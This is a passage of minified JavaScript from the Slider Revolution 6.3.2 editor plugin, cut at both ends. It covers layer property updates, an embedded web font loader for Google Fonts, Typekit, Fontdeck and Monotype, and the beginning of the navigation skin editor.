RVS.F.iUHelp(e);break;case"width":case"height":e.l=t[e.uid].size[e.key],e.p=e.uid+".size."+e.key+".",e.minValue=1,e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e);break;case"blur":case"spread":case"hoffset":case"voffset":e.l=t[e.uid].idle.boxShadow[e.key],e.p=e.uid+".idle.boxShadow."+e.key+".",e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e),"spread"!==e.key&&(e.l=t[e.uid].idle.textShadow[e.key],e.p=e.uid+".idle.textShadow."+e.key+".",e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e));break;case"margin":case"padding":if("v"===e.index)for(e.index=0;e.index<4;e.index++){e.val=t[e.uid].idle[e.key][RVS.V.sizes[0]].v[e.index];for(var a=parseInt(e.val,0),r=1,s=0;s<=3;s++)r=e.iii?RVS.S.shrink[RVS.V.sizes[s]]:r,a=e.allToOne?a:e.reset||!t[e.uid].idle[e.key][RVS.V.sizes[s]].e?Math.round(a*r):parseInt(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index],0),e.backup?(RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".v."+e.index,val:a}),e.notEdited&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".e",val:!1})):(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index]=a,e.notEdited&&(t[e.uid].idle[e.key][RVS.V.sizes[s]].e=!1))}else{e.val=t[e.uid].idle[e.key][RVS.V.sizes[0]].v[e.index];for(a=parseInt(e.val,0),r=1,s=0;s<=3;s++)r=e.iii?RVS.S.shrink[RVS.V.sizes[s]]:r,a=e.allToOne?a:e.reset||!t[e.uid].idle[e.key][RVS.V.sizes[s]].e?Math.round(a*r):parseInt(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index],0),e.backup?(RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".v."+e.index,val:a}),e.notEdited&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".e",val:!1})):(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index]=a,e.notEdited&&(t[e.uid].idle[e.key][RVS.V.sizes[s]].e=!1))}break;case"textAlign":case"fontWeight":case"borderStyle":case"color":e.l="color"===e.key&&"svg"===t[e.uid].type?t[e.uid].idle.svg.color:t[e.uid].idle[e.key],e.p="color"===e.key&&"svg"===t[e.uid].type?e.uid+".idle.svg.color.":e.uid+".idle."+e.key+".",RVS.F.iUHelp(e);break;case"lineHeight":case"letterSpacing":case"fontSize":e.l=t[e.uid].idle[e.key],e.p=e.uid+".idle."+e.key+".",e.number=!0,e.shrink=!0,"fontSize"===e.key&&(e.minValue=4),"lineHeight"===e.key&&(e.minValue=6),RVS.F.iUHelp(e);break;case"whiteSpace":e.p=e.uid+".idle.whiteSpace.",e.l=t[e.uid].idle[e.key],RVS.F.iUHelp(e)}void 0!==RVS.F.intelligentUpdateExtend&&void 0!==RVS.F.intelligentUpdateExtend[t[e.uid].subtype]&&RVS.F.intelligentUpdateExtend[t[e.uid].subtype](e,t)},RVS.F.updateGroupLocks=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&RVS.L[e].group&&"group"===RVS.L[e].type&&void 0!==RVS.H[e]&&(RVS.L[e].group.locked?RVS.H[e].w.addClass("_group_locked_"):RVS.H[e].w.removeClass("_group_locked_"))},RVS.DOC.on("updateLayerFrame",function(e,t){if(void 0!==t)for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(RVS.F.updateLayerFrame({layerid:parseInt(RVS.selLayers[i],0),frame:RVS.S.keyFrame}),RVS.F.updateFrameRealSpeed())}),RVS.DOC.on("updateLayerFrameStart",function(e,t){if(void 0!==t||void 0!==t.val){RVS.F.openBackupGroup({id:"LayerFrameStart",txt:"Layer Frame Start",icon:"layers",lastkey:"layer"});var i=parseInt(RVS.selLayers[0],0),a=RVS.F.getPrevNextFrame({layerid:i,frame:RVS.S.keyFrame});for(var i in cur=parseInt(t.val,0),cur=cur<a.prev.end?a.prev.end+10:cur+a.cur.framelength>a.next.start?a.next.start-(a.cur.framelength+10):cur,cur=cur>10*RVS.F.getSlideLength()?10*RVS.F.getSlideLength():cur,RVS.F.updateLayerObj({path:"timeline.frames."+RVS.S.keyFrame+".timeline.start",val:cur}),RVS.F.closeBackupGroup({id:"LayerFrameStart"}),document.getElementById("layerframestart").value=cur,RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(RVS.F.updateLayerFrame({layerid:parseInt(RVS.selLayers[i],0),frame:RVS.S.keyFrame}),RVS.F.updateFrameRealSpeed())}})}(),function(e,t,i){function a(e,t,i){return e.call.apply(e.bind,arguments)}function r(e,t,i){if(!e)throw Error();if(2<arguments.length){var a=Array.prototype.slice.call(arguments,2);return function(){var i=Array.prototype.slice.call(arguments);return Array.prototype.unshift.apply(i,a),e.apply(t,i)}}return function(){return e.apply(t,arguments)}}function s(e,t,i){return(s=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?a:r).apply(null,arguments)}var o=Date.now||function(){return+new Date};function n(e,t){this.K=e,this.w=t||e,this.G=this.w.document}function l(e,i,a){(e=e.G.getElementsByTagName(i)[0])||(e=t.documentElement),e&&e.lastChild&&e.insertBefore(a,e.lastChild)}function d(e,t,i){t=t||[],i=i||[];for(var a=e.className.split(/\s+/),r=0;r<t.length;r+=1){for(var s=!1,o=0;o<a.length;o+=1)if(t[r]===a[o]){s=!0;break}s||a.push(t[r])}for(t=[],r=0;r<a.length;r+=1){for(s=!1,o=0;o<i.length;o+=1)if(a[r]===i[o]){s=!0;break}s||t.push(a[r])}e.className=t.join(" ").replace(/\s+/g," ").replace(/^\s+|\s+$/,"")}function S(e,t){for(var i=e.className.split(/\s+/),a=0,r=i.length;a<r;a++)if(i[a]==t)return!0;return!1}function c(e){if("string"==typeof e.na)return e.na;var t=e.w.location.protocol;return"about:"==t&&(t=e.K.location.protocol),"https:"==t?"https:":"http:"}function p(e,t){var i=e.createElement("link",{rel:"stylesheet",href:t,media:"all"}),a=!1;i.onload=function(){a||(a=!0)},i.onerror=function(){a||(a=!0)},l(e,"head",i)}function u(t,i,a,r){var s=t.G.getElementsByTagName("head")[0];if(s){var o=t.createElement("script",{src:i}),n=!1;return o.onload=o.onreadystatechange=function(){n||this.readyState&&"loaded"!=this.readyState&&"complete"!=this.readyState||(n=!0,a&&a(null),o.onload=o.onreadystatechange=null,"HEAD"==o.parentNode.tagName&&s.removeChild(o))},s.appendChild(o),e.setTimeout(function(){n||(n=!0,a&&a(Error("Script load timeout")))},r||5e3),o}return null}function R(e,t){this.Y=e,this.ga=t}function V(e,t,i,a){this.c=null!=e?e:null,this.g=null!=t?t:null,this.D=null!=i?i:null,this.e=null!=a?a:null}n.prototype.createElement=function(e,t,i){if(e=this.G.createElement(e),t)for(var a in t)t.hasOwnProperty(a)&&("style"==a?e.style.cssText=t[a]:e.setAttribute(a,t[a]));return i&&e.appendChild(this.G.createTextNode(i)),e};var y=/^([0-9]+)(?:[\._-]([0-9]+))?(?:[\._-]([0-9]+))?(?:[\._+-]?(.*))?$/;function m(e){var t=null,i=null,a=null,r=null;return(e=y.exec(e))&&(null!==e[1]&&e[1]&&(t=parseInt(e[1],10)),null!==e[2]&&e[2]&&(i=parseInt(e[2],10)),null!==e[3]&&e[3]&&(a=parseInt(e[3],10)),null!==e[4]&&e[4]&&(r=/^[0-9]+$/.test(e[4])?parseInt(e[4],10):e[4])),new V(t,i,a,r)}function f(e,t,i,a,r,s,o,n){this.N=e,this.k=n}function g(e){this.a=e}V.prototype.compare=function(e){return this.c>e.c||this.c===e.c&&this.g>e.g||this.c===e.c&&this.g===e.g&&this.D>e.D?1:this.c<e.c||this.c===e.c&&this.g<e.g||this.c===e.c&&this.g===e.g&&this.D<e.D?-1:0},V.prototype.toString=function(){return[this.c,this.g||"",this.D||"",this.e||""].join("")},f.prototype.getName=function(){return this.N};var h=new f("Unknown",0,0,0,0,0,0,new R(!1,!1));function v(e){var t=w(e.a,/(iPod|iPad|iPhone|Android|Windows Phone|BB\d{2}|BlackBerry)/,1);return""!=t?(/BB\d{2}/.test(t)&&(t="BlackBerry"),t):""!=(e=w(e.a,/(Linux|Mac_PowerPC|Macintosh|Windows|CrOS|PlayStation|CrKey)/,1))?("Mac_PowerPC"==e?e="Macintosh":"PlayStation"==e&&(e="Linux"),e):"Unknown"}function _(e){if((t=w(e.a,/(OS X|Windows NT|Android) ([^;)]+)/,2))||(t=w(e.a,/Windows Phone( OS)? ([^;)]+)/,2))||(t=w(e.a,/(iPhone )?OS ([\d_]+)/,2)))return t;if(t=w(e.a,/(?:Linux|CrOS|CrKey) ([^;)]+)/,1))for(var t=t.split(/\s/),i=0;i<t.length;i+=1)if(/^[\d\._]+$/.test(t[i]))return t[i];return(e=w(e.a,/(BB\d{2}|BlackBerry).*?Version\/([^\s]*)/,2))?e:"Unknown"}function L(e){var t=v(e),i=m(_(e)),a=m(w(e.a,/AppleWeb(?:K|k)it\/([\d\.\+]+)/,1)),r="Unknown",s=new V;s="Unknown";return/OPR\/[\d.]+/.test(e.a)?r="Opera":-1!=e.a.indexOf("Chrome")||-1!=e.a.indexOf("CrMo")||-1!=e.a.indexOf("CriOS")?r="Chrome":/Silk\/\d/.test(e.a)?r="Silk":"BlackBerry"==t||"Android"==t?r="BuiltinBrowser":-1!=e.a.indexOf("PhantomJS")?r="PhantomJS":-1!=e.a.indexOf("Safari")?r="Safari":-1!=e.a.indexOf("AdobeAIR")?r="AdobeAIR":-1!=e.a.indexOf("PlayStation")&&(r="BuiltinBrowser"),"BuiltinBrowser"==r?s="Unknown":"Silk"==r?s=w(e.a,/Silk\/([\d\._]+)/,1):"Chrome"==r?s=w(e.a,/(Chrome|CrMo|CriOS)\/([\d\.]+)/,2):-1!=e.a.indexOf("Version/")?s=w(e.a,/Version\/([\d\.\w]+)/,1):"AdobeAIR"==r?s=w(e.a,/AdobeAIR\/([\d\.]+)/,1):"Opera"==r?s=w(e.a,/OPR\/([\d.]+)/,1):"PhantomJS"==r&&(s=w(e.a,/PhantomJS\/([\d.]+)/,1)),s=m(s),new f(r,0,0,0,0,0,0,new R("AdobeAIR"==r?2<s.c||2==s.c&&5<=s.g:"BlackBerry"==t?10<=i.c:"Android"==t?2<i.c||2==i.c&&1<i.g:526<=a.c||525<=a.c&&13<=a.g,536>a.c||536==a.c&&11>a.g))}function w(e,t,i){return(e=e.match(t))&&e[i]?e[i]:""}function b(e){this.ma=e||"-"}function I(e,t){this.N=e,this.Z=4,this.O="n";var i=(t||"n4").match(/^([nio])([1-9])$/i);i&&(this.O=i[1],this.Z=parseInt(i[2],10))}function F(e){return e.O+e.Z}function D(e){var t=4,i="n",a=null;return e&&((a=e.match(/(normal|oblique|italic)/i))&&a[1]&&(i=a[1].substr(0,1).toLowerCase()),(a=e.match(/([1-9]00|normal|bold)/i))&&a[1]&&(/bold/i.test(a[1])?t=7:/[1-9]00/.test(a[1])&&(t=parseInt(a[1].substr(0,1),10)))),i+t}function x(e,t){this.d=e,this.q=e.w.document.documentElement,this.Q=t,this.j="wf",this.h=new b("-"),this.ha=!1!==t.events,this.F=!1!==t.classes}function C(e){if(e.F){var t=S(e.q,e.h.e(e.j,"active")),i=[],a=[e.h.e(e.j,"loading")];t||i.push(e.h.e(e.j,"inactive")),d(e.q,i,a)}k(e,"inactive")}function k(e,t,i){e.ha&&e.Q[t]&&(i?e.Q[t](i.getName(),F(i)):e.Q[t]())}function O(){this.C={}}function T(e,t){this.d=e,this.I=t,this.o=this.d.createElement("span",{"aria-hidden":"true"},this.I)}function j(e,t){var i,a=e.o;i=[];for(var r=t.N.split(/,\s*/),s=0;s<r.length;s++){var o=r[s].replace(/['"]/g,"");-1==o.indexOf(" ")?i.push(o):i.push("'"+o+"'")}i=i.join(","),r="normal","o"===t.O?r="oblique":"i"===t.O&&(r="italic"),a.style.cssText="display:block;position:absolute;top:-9999px;left:-9999px;font-size:300px;width:auto;height:auto;line-height:normal;margin:0;padding:0;font-variant:normal;white-space:nowrap;font-family:"+i+";font-style:"+r+";font-weight:"+t.Z+"00;"}function E(e){l(e.d,"body",e.o)}function P(e,t,i,a,r,s,o,n){this.$=e,this.ka=t,this.d=i,this.m=a,this.k=r,this.I=n||"BESbswy",this.v={},this.X=s||3e3,this.ca=o||null,this.H=this.u=this.t=null,this.t=new T(this.d,this.I),this.u=new T(this.d,this.I),this.H=new T(this.d,this.I),j(this.t,new I("serif",F(this.m))),j(this.u,new I("sans-serif",F(this.m))),j(this.H,new I("monospace",F(this.m))),E(this.t),E(this.u),E(this.H),this.v.serif=this.t.o.offsetWidth,this.v["sans-serif"]=this.u.o.offsetWidth,this.v.monospace=this.H.o.offsetWidth}g.prototype.parse=function(){var e;if(-1!=this.a.indexOf("MSIE")||-1!=this.a.indexOf("Trident/")){e=v(this);var t=m(_(this)),i=null,a=w(this.a,/Trident\/([\d\w\.]+)/,1);i=-1!=this.a.indexOf("MSIE")?m(w(this.a,/MSIE ([\d\w\.]+)/,1)):m(w(this.a,/rv:([\d\w\.]+)/,1));""!=a&&m(a),e=new f("MSIE",0,0,0,0,0,0,new R("Windows"==e&&6<=i.c||"Windows Phone"==e&&8<=t.c,!1))}else if(-1!=this.a.indexOf("Opera"))e:if(e=m(w(this.a,/Presto\/([\d\w\.]+)/,1)),m(_(this)),null!==e.c||m(w(this.a,/rv:([^\)]+)/,1)),-1!=this.a.indexOf("Opera Mini/"))e=m(w(this.a,/Opera Mini\/([\d\.]+)/,1)),e=new f("OperaMini",0,0,0,v(this),0,0,new R(!1,!1));else{if(-1!=this.a.indexOf("Version/")&&null!==(e=m(w(this.a,/Version\/([\d\.]+)/,1))).c){e=new f("Opera",0,0,0,v(this),0,0,new R(10<=e.c,!1));break e}e=null!==(e=m(w(this.a,/Opera[\/ ]([\d\.]+)/,1))).c?new f("Opera",0,0,0,v(this),0,0,new R(10<=e.c,!1)):new f("Opera",0,0,0,v(this),0,0,new R(!1,!1))}else/OPR\/[\d.]+/.test(this.a)?e=L(this):/AppleWeb(K|k)it/.test(this.a)?e=L(this):-1!=this.a.indexOf("Gecko")?(e="Unknown",t=new V,m(_(this)),t=!1,-1!=this.a.indexOf("Firefox")?(e="Firefox",t=3<=(t=m(w(this.a,/Firefox\/([\d\w\.]+)/,1))).c&&5<=t.g):-1!=this.a.indexOf("Mozilla")&&(e="Mozilla"),i=m(w(this.a,/rv:([^\)]+)/,1)),t||(t=1<i.c||1==i.c&&9<i.g||1==i.c&&9==i.g&&2<=i.D),e=new f(e,0,0,0,v(this),0,0,new R(t,!1))):e=h;return e},b.prototype.e=function(e){for(var t=[],i=0;i<arguments.length;i++)t.push(arguments[i].replace(/[\W_]+/g,"").toLowerCase());return t.join(this.ma)},I.prototype.getName=function(){return this.N},T.prototype.remove=function(){var e=this.o;e.parentNode&&e.parentNode.removeChild(e)};var M={sa:"serif",ra:"sans-serif",qa:"monospace"};function z(e,t,i){for(var a in M)if(M.hasOwnProperty(a)&&t===e.v[M[a]]&&i===e.v[M[a]])return!0;return!1}function A(e){var t=e.t.o.offsetWidth,i=e.u.o.offsetWidth;t===e.v.serif&&i===e.v["sans-serif"]||e.k.ga&&z(e,t,i)?o()-e.oa>=e.X?e.k.ga&&z(e,t,i)&&(null===e.ca||e.ca.hasOwnProperty(e.m.getName()))?H(e,e.$):H(e,e.ka):function(e){setTimeout(s(function(){A(this)},e),50)}(e):H(e,e.$)}function H(e,t){e.t.remove(),e.u.remove(),e.H.remove(),t(e.m)}function B(e,t,i,a){this.d=t,this.A=i,this.S=0,this.ea=this.ba=!1,this.X=a,this.k=e.k}function Q(e,t,i,a,r){if(i=i||{},0===t.length&&r)C(e.A);else for(e.S+=t.length,r&&(e.ba=r),r=0;r<t.length;r++){var o=t[r],n=i[o.getName()],l=e.A,S=o;l.F&&d(l.q,[l.h.e(l.j,S.getName(),F(S).toString(),"loading")]),k(l,"fontloading",S),l=null,(l=new P(s(e.ia,e),s(e.ja,e),e.d,o,e.k,e.X,a,n)).start()}}function G(e){0==--e.S&&e.ba&&(e.ea?((e=e.A).F&&d(e.q,[e.h.e(e.j,"active")],[e.h.e(e.j,"loading"),e.h.e(e.j,"inactive")]),k(e,"active")):C(e.A))}function N(e){this.K=e,this.B=new O,this.pa=new g(e.navigator.userAgent),this.a=this.pa.parse(),this.U=this.V=0,this.R=this.T=!0}function W(e,t,i){this.P=e||t+X,this.s=[],this.W=[],this.fa=i||""}P.prototype.start=function(){this.oa=o(),j(this.t,new I(this.m.getName()+",serif",F(this.m))),j(this.u,new I(this.m.getName()+",sans-serif",F(this.m))),A(this)},B.prototype.ia=function(e){var t=this.A;t.F&&d(t.q,[t.h.e(t.j,e.getName(),F(e).toString(),"active")],[t.h.e(t.j,e.getName(),F(e).toString(),"loading"),t.h.e(t.j,e.getName(),F(e).toString(),"inactive")]),k(t,"fontactive",e),this.ea=!0,G(this)},B.prototype.ja=function(e){var t=this.A;if(t.F){var i=S(t.q,t.h.e(t.j,e.getName(),F(e).toString(),"active")),a=[],r=[t.h.e(t.j,e.getName(),F(e).toString(),"loading")];i||a.push(t.h.e(t.j,e.getName(),F(e).toString(),"inactive")),d(t.q,a,r)}k(t,"fontinactive",e),G(this)},N.prototype.load=function(e){this.d=new n(this.K,e.context||this.K),this.T=!1!==e.events,this.R=!1!==e.classes;var t=new x(this.d,e),i=[],a=e.timeout;t.F&&d(t.q,[t.h.e(t.j,"loading")]),k(t,"loading");i=this.B;var r,o=this.d,l=[];for(r in e)if(e.hasOwnProperty(r)){var S=i.C[r];S&&l.push(S(e[r],o))}for(i=l,this.U=this.V=i.length,e=new B(this.a,this.d,t,a),a=0,r=i.length;a<r;a++)(o=i[a]).L(this.a,s(this.la,this,o,t,e))},N.prototype.la=function(e,t,i,a){var r=this;a?e.load(function(e,t,a){!function(e,t,i,a,r){var s=0==--e.V;(e.R||e.T)&&setTimeout(function(){Q(t,i,a||null,r||null,s)},0)}(r,i,e,t,a)}):(e=0==--this.V,this.U--,e&&0==this.U?C(t):(this.R||this.T)&&Q(i,[],{},null,e))};var X="//fonts.googleapis.com/css";function Y(e){this.s=e,this.da=[],this.M={}}W.prototype.e=function(){if(0==this.s.length)throw Error("No fonts to load!");if(-1!=this.P.indexOf("kit="))return this.P;for(var e=this.s.length,t=[],i=0;i<e;i++)t.push(this.s[i].replace(/ /g,"+"));return e=this.P+"?family="+t.join("%7C"),0<this.W.length&&(e+="&subset="+this.W.join(",")),0<this.fa.length&&(e+="&text="+encodeURIComponent(this.fa)),e};var U={latin:"BESbswy",cyrillic:"&#1081;&#1103;&#1046;",greek:"&#945;&#946;&#931;",khmer:"&#x1780;&#x1781;&#x1782;",Hanuman:"&#x1780;&#x1781;&#x1782;"},q={thin:"1",extralight:"2","extra-light":"2",ultralight:"2","ultra-light":"2",light:"3",regular:"4",book:"4",medium:"5","semi-bold":"6",semibold:"6","demi-bold":"6",demibold:"6",bold:"7","extra-bold":"8",extrabold:"8","ultra-bold":"8",ultrabold:"8",black:"9",heavy:"9",l:"3",r:"4",b:"7"},Z={i:"i",italic:"i",n:"n",normal:"n"},K=/^(thin|(?:(?:extra|ultra)-?)?light|regular|book|medium|(?:(?:semi|demi|extra|ultra)-?)?bold|black|heavy|l|r|b|[1-9]00)?(n|i|normal|italic)?$/;function J(e,t){this.a=new g(navigator.userAgent).parse(),this.d=e,this.f=t}Y.prototype.parse=function(){for(var e=this.s.length,t=0;t<e;t++){var i=this.s[t].split(":"),a=i[0].replace(/\+/g," "),r=["n4"];if(2<=i.length){var s;if(s=[],o=i[1])for(var o,n=(o=o.split(",")).length,l=0;l<n;l++){var d;if((d=o[l]).match(/^[\w-]+$/)){var S=void 0;if(null==(d=K.exec(d.toLowerCase())))S="";else{if(S=void 0,null==(S=d[1])||""==S)S="4";else{var c=q[S];S=c||(isNaN(S)?"4":S.substr(0,1))}S=[null==(d=d[2])||""==d?"n":Z[d],S].join("")}d=S}else d="";d&&s.push(d)}0<s.length&&(r=s),3==i.length&&(s=[],0<(i=(i=i[2])?i.split(","):s).length&&(i=U[i[0]])&&(this.M[a]=i))}for(this.M[a]||(i=U[a])&&(this.M[a]=i),i=0;i<r.length;i+=1)this.da.push(new I(a,r[i]))}};var $={Arimo:!0,Cousine:!0,Tinos:!0};function ee(e,t){this.d=e,this.f=t,this.p=[]}function te(e,t){this.d=e,this.f=t,this.p=[]}function ie(e,t){this.d=e,this.f=t,this.p=[]}function ae(e,t){this.d=e,this.f=t}J.prototype.L=function(e,t){t(e.k.Y)},J.prototype.load=function(e){var t=this.d;"MSIE"==this.a.getName()&&1!=this.f.blocking?function(e,t){!function i(){e.G.body?t():setTimeout(i,0)}()}(t,s(this.aa,this,e)):this.aa(e)},J.prototype.aa=function(e){for(var t=this.d,i=new W(this.f.api,c(t),this.f.text),a=this.f.families,r=a.length,s=0;s<r;s++){var o=a[s].split(":");3==o.length&&i.W.push(o.pop());var n="";2==o.length&&""!=o[1]&&(n=":"),i.s.push(o.join(n))}(a=new Y(a)).parse(),p(t,i.e()),e(a.da,a.M,$)},ee.prototype.J=function(e){var t=this.d;return c(this.d)+(this.f.api||"//f.fontdeck.com/s/css/js/")+(t.w.location.hostname||t.K.location.hostname)+"/"+e+".js"},ee.prototype.L=function(e,t){var i=this.f.id,a=this.d.w,r=this;i?(a.__tpwebfontfontdeckmodule__||(a.__tpwebfontfontdeckmodule__={}),a.__tpwebfontfontdeckmodule__[i]=function(e,i){for(var a=0,s=i.fonts.length;a<s;++a){var o=i.fonts[a];r.p.push(new I(o.name,D("font-weight:"+o.weight+";font-style:"+o.style)))}t(e)},u(this.d,this.J(i),function(e){e&&t(!1)})):t(!1)},ee.prototype.load=function(e){e(this.p)},te.prototype.J=function(e){var t=c(this.d);return(this.f.api||t+"//use.typekit.net")+"/"+e+".js"},te.prototype.L=function(e,t){var i=this.f.id,a=this.d.w,r=this;i?u(this.d,this.J(i),function(e){if(e)t(!1);else{if(a.Typekit&&a.Typekit.config&&a.Typekit.config.fn){e=a.Typekit.config.fn;for(var i=0;i<e.length;i+=2)for(var s=e[i],o=e[i+1],n=0;n<o.length;n++)r.p.push(new I(s,o[n]));try{a.Typekit.load({events:!1,classes:!1})}catch(e){}}t(!0)}},2e3):t(!1)},te.prototype.load=function(e){e(this.p)},ie.prototype.L=function(e,t){var i=this,a=i.f.projectId,r=i.f.version;if(a){var s=i.d.w;u(this.d,i.J(a,r),function(r){if(r)t(!1);else{if(s["__mti_fntLst"+a]&&(r=s["__mti_fntLst"+a]()))for(var o=0;o<r.length;o++)i.p.push(new I(r[o].fontfamily));t(e.k.Y)}}).id="__MonotypeAPIScript__"+a}else t(!1)},ie.prototype.J=function(e,t){return c(this.d)+"//"+(this.f.api||"fast.fonts.net/jsapi").replace(/^.*http(s?):(\/\/)?/,"")+"/"+e+".js"+(t?"?v="+t:"")},ie.prototype.load=function(e){e(this.p)},ae.prototype.load=function(e){var t,i,a=this.f.urls||[],r=this.f.families||[],s=this.f.testStrings||{};for(t=0,i=a.length;t<i;t++)p(this.d,a[t]);for(a=[],t=0,i=r.length;t<i;t++){var o=r[t].split(":");if(o[1])for(var n=o[1].split(","),l=0;l<n.length;l+=1)a.push(new I(o[0],n[l]));else a.push(new I(o[0]))}e(a,s)},ae.prototype.L=function(e,t){return t(e.k.Y)};var re=new N(this);re.B.C.custom=function(e,t){return new ae(t,e)},re.B.C.fontdeck=function(e,t){return new ee(t,e)},re.B.C.monotype=function(e,t){return new ie(t,e)},re.B.C.typekit=function(e,t){return new te(t,e)},re.B.C.google=function(e,t){return new J(t,e)},this.tpWebFont||(this.tpWebFont={},this.tpWebFont.load=s(re.load,re),this.tpWebFontConfig&&re.load(this.tpWebFontConfig))}(this,document),
/*!
 * REVOLUTION 6.3.2 EDITOR NAVIGATION JS
 * @version: 2.0 (01.12.2020)
 * @author ThemePunch
*/
function(){var e,t,i,a,r=["arrows","thumbs","bullets","tabs"];function s(e,t){var i="",a="";for(var r in RVS.nav.currentSkinType=e,RVS.nav.currentEditorMode="markup",RVS.nav[e]){if(!RVS.nav[e].hasOwnProperty(r))continue;let t=RVS.nav[e][r];t.factory?i+='<div data-type="'+e+'" data-handle="'+r+'" class="rs_ne_nav_skin rs_ne_listelement"><span class="rs_ne_nskin_title">'+t.name+'</span><div class="rs_ne_nskin_tbar_basic"><i class="rs_ne_nskin_copy material-icons">content_copy</i></div></div>':a+='<div id="rs_ne_nav_skin_'+r+'" data-type="'+e+'" data-handle="'+r+'" class="rs_ne_nav_skin rs_ne_listelement"><span class="rs_ne_nskin_title">'+t.name+'</span><span class="rs_ne_nskin_message"></span><input class="rs_ne_nskin_title_input" value="'+t.name+'" type="text"/><div class="rs_ne_nskin_tbar_basic"><i class="rs_ne_nskin_edit material-icons">edit</i><i class="rs_ne_nskin_copy material-icons">content_copy</i><i class="rs_ne_nskin_delete material-icons">delete</i></div><div class="rs_ne_nskin_tbar_yesno"><i class="rs_ne_nskin_yes material-icons">done</i><i class="rs_ne_nskin_no material-icons">close</i></div></div>'}document.getElementById("rs_ne_factory_list").innerHTML=i,document.getElementById("rs_ne_custom_list").innerHTML=a,jQuery(".rs_ne_list_wrapper").scrollTop(0).RSScroll({suppressScrollX:!0})}function o(){void 0!==RVS.nav.currentSkin&&(RVS.nav.currentSkin.changed=!0),jQuery("#save_naveditor").show(),RVS.nav.toSave=!0}function n(){document.getElementById("rs_ne_nav_width").value=RVS.nav.currentSkin.dim.width,document.getElementById("rs_ne_nav_height").value=RVS.nav.currentSkin.dim.height,document.getElementById("rs_ne_nav_classname").value=RVS.nav.currentSkin.handle;var e="";for(var t in RVS.nav.currentSkin.placeholders){if(!RVS.nav.currentSkin.placeholders.hasOwnProperty(t))continue;e+='<div data-placeholder="'+t+'" class="rs_ne_meta_value_btn rs_ne_listelement" ><span data-insert="##'+t+'##" class="rs_ne_nskin_title">'+RVS.nav.currentSkin.placeholders[t].title+'</span><span class="rs_ne_nskin_message"></span>',e+='<div class="rs_ne_nskin_tbar_basic"><i data-insert="##'+t+'##" class="rs_ne_nskin_meta_add material-icons">add</i><i data-placeholder="'+t+'" class="rs_ne_nskin_meta_config material-icons">settings</i><i class="rs_ne_nskin_delete material-icons">delete</i></div><div class="rs_ne_nskin_tbar_yesno"><i class="rs_ne_nskin_yes material-icons">done</i><i class="rs_ne_nskin_no material-icons">close</i></div>',e+="</div>"}document.getElementById("rs_ne_meta_values_inner").innerHTML=e}function l(){var e=jQuery("#rs_ne_def_meta_handle")[0].value;0===e.length||0===jQuery("#rs_ne_def_meta_title")[0].value.length||RVS.nav.currentPlaceholder!==e&&void 0!==RVS.nav.currentSkin.placeholders[e]?jQuery("#update_nav_meta_value").addClass("disabled"):jQuery("#update_nav_meta_value").removeClass("disabled"),RVS.nav.currentPlaceholder!==e&&void 0!==RVS.nav.currentSkin.placeholders[e]?jQuery("#rs_ne_def_meta_handle").addClass("badvalue"):jQuery("#rs_ne_def_meta_handle").removeClass("badvalue")}function d(){e.appendTo(jQuery("#rev_slider_ul_inner")),t.appendTo(jQuery("#rev_slider_ul_inner")),i.appendTo(jQuery("#rev_slider_ul_inner")),a.tabs.self.appendTo(jQuery("#rev_slider_ul_inner")),a.thumbs.self.appendTo(jQuery("#rev_slider_ul_inner"))}function S(e){jQuery(".rs_ne_nav_skin.selected").removeClass("selected"),e.className+=" selected",RVS.nav.currentSkinType=e.dataset.type,RVS.nav.currentSkinHandle=e.dataset.handle,RVS.nav.currentSkin=RVS.nav[e.dataset.type][e.dataset.handle],n(),jQuery("#rs_ne_helper_wrap, #rs_ne_settings, #rs_ne_markup_css_button_wrap").show(),jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show(),jQuery("#rs_ne_nav_classname").removeClass("badvalue"),RVS.nav.editor.setValue(RVS.nav.currentSkin[RVS.nav.currentEditorMode]),RVS.nav.infactorymode=RVS.nav.currentSkin.factory,RVS.nav.infactorymode?jQuery("#rs_ne_settings").addClass("infactorymode"):jQuery("#rs_ne_settings").removeClass("infactorymode"),RVS.nav.editor.setOption("readOnly",RVS.nav.currentSkin.factory),RVS.F.drawEditorNavigation(),RVS.F.pickMarkupCssMode(document.getElementById("rs_ne_mcss_thecsseditor"))}function c(e){var t=document.getElementById("sr_"+e.type+"_style_preset");if(null!==t&&null!=t){t.options.length=0;var i=document.createDocumentFragment();if(i.appendChild(RVS.F.CO("custom","Custom")),i.appendChild(RVS.F.CO("default","Default")),null!=e.navobj&&null!==e.navobj.settings){var a;if(void 0!==e.navobj)for(var r in e.navobj.presets)e.navobj.presets.hasOwnProperty(r)&&(a=RVS.F.CO(r,e.navobj.presets[r].name),i.appendChild(a));t.appendChild(i),!0===e.presetChange&&(RVS.SLIDER.settings.nav[e.type].preset="default"),t.value=RVS.SLIDER.settings.nav[e.type].preset,jQuery(t).ddTP({tags:!0}).ddTP("change"),RVS.F.updatePresetInputs(e),RVS.F.updateSlideBasedNavigationStyle()}else t.appendChild(i)}}function p(i){var a=RVS.SLIDER.settings.nav[i.type].presets,r=RVS.SLIDER[RVS.S.slideId].slide.nav[i.type].presets,s=void 0===i.skin?RVS.nav[i.type][i.handle]:i.skin,o=s.css,n=o.split("##"),l=[],d=0,S="";if(null==o)return"";for(var 